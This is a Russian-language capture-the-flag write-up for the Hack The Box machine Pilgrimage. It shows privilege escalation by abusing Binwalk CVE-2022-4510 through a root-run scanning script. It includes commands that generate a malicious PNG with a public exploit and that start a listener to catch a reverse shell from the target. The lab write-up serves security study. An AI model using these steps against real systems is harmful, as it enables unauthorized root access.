В этой небольшой статье, в рамках прохождения уязвимой виртуальной машины Pilgrimage с площадки Hack The Box, я продемонстрирую эксплуатацию уязвимости Binwalk с идентификатором CVE-2022-4510.
Еще по теме: Эксплуатация уязвимости ImageMagick CVE-2022-44268
Эксплуатация уязвимости Binwalk CVE-2022-4510
После того, как мы получили доступ к хосту, нужно собрать информацию. Чтобы не тратить время на поиски и догадки, я в таких случаях использую скрипты PEASS.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование.
В дереве процессов видим скрипт /usr/sbin/malwarescan.sh, запускающий приложение inotifywait.
В списке файлов, измененных за последние пять минут, видим /var/www/pilgrimage.htb/shrunk/malicious.pfs. Этот же каталог передавался inotifywait.
К тому же у нас есть право записи в каталог /var/www/pilgrimage.htb/shrunk/ и файлы в нем.
Дальше я обычно использую утилиту pspy64, которая выводит информацию о запущенных процессах. Так обнаружился периодический запуск скрипта /usr/sbin/malwarescan.sh от имени пользователя root.
Давай глянем, что это за скрипт.
Здесь происходит вызов программы Binwalk, которой поочередно передаются файлы из каталога:
1 |
/var/www/pilgrimage.htb/shrunk/ |
Binwalk — это инструмент для анализа и извлечения данных из бинарных файлов, таких как образы файловых систем, исполняемые файлы и другие. Он часто используется в кибербезопасности и реверс-инжиниринге. Тулза может автоматически искать в файле сигнатуры, такие как заголовки файлов, и выводить информацию о найденных данных.
Проверим версию используемой программы и поищем эксплоиты для нее.
По первой ссылке находим эксплоит для уязвимости CVE-2022-4510.
Эта версия Binwalk допускает обход каталога через функцию extractor в модуле plugins/unpfs.py. Когда Binwalk запускается с параметром -e, атакующий может извлечь файлы, находящиеся в любом каталоге файловой системы.
Найденный эксплоит создает файл, который при обработке извлекает нагрузку в каталог .config/binwalk/plugins. Нагрузка — это реверс‑шелл, что дает нам возможность удаленного выполнения кода. Создаем такой файл и помещаем в каталог /var/www/pilgrimage.htb/shrunk/.
1 |
python3 51249.py exp.png 10.10.14.46 4321 |
Запускаем листенер
1 |
pwncat-cs -lp 4321 |
И получаем бэкконнект от имени рута.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Лучшие сайты для поиска уязвимостей
- Эксплуатация уязвимости в модуле PHP Imagick
- Эксплуатация уязвимости CVE-2023-21746 LocalPotato